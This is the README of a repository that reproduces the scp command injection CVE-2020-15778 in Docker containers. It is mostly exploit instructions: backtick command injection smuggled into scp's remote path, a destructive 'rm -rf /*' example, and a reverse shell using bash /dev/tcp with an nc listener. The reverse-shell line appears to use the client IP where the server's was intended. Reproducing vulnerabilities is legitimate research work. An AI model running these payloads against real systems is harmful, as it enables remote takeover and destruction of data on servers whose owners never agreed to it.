CVE-2020-15778

Introduction

This repo reproduces CVE-2020-15778.

Steps

1. Build the docker images for scp server and client

cd client
docker build -t client-cve .

cd server
docker build -t server-cve .

2. Spin up the scp server in container.

docker run -d -P --name scp-server server-cve

Retrieve the internal IP address of the scp server by

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-server

3. Run the client in container.

docker run --name scp-client -i -t client-cve

4. Inject your own shell command to scp server by call scp command in the client.

In client terminal, run

scp nil.txt root@<internal IP of scp server>:'`your command`/tmp'

The password is "PASSWORD".

Examples

Here're some examples for this exploit.

1. Delete everything in the server to crash it.

scp nil.txt root@<internal IP of scp server>:'`rm -rf /*`/tmp'

2. Reflect the bash of the scp server into the client (mimic ssh).

Listen to a port on client machine.

nc -lvvp 8080

Use scp to force the server mapping the interactive bash into the client machine.

scp nil.txt root@<internal IP of scp client>:'`bash -i >& /dev/tcp/<internal IP of scp client>/8080 0>& 1`/tmp'

The client IP address can be retrieved by

docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' scp-client